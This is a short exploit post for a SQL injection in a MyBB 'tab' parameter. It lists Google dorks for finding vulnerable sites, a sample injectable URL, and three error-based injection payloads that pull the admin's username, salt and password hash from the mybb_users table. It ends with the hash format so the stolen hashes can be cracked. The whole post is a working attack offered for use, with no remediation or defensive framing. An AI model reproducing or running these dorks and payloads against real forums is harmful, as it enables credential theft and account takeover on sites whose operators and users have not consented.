[Exploit] MyBBtab

Google Dork: inurl:"index.php?tab=" (or) intext:"MyBB"

Example URL: Target.com/index.php?tab=8'

GetUsername pOc : and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Get_SALT pOc :  and(select 1 from(select count(*),concat((select salt from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Get Password pOc : and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Encryption Tpye: md5(md5($salt).md5($pass)).

liT2le|Mhu|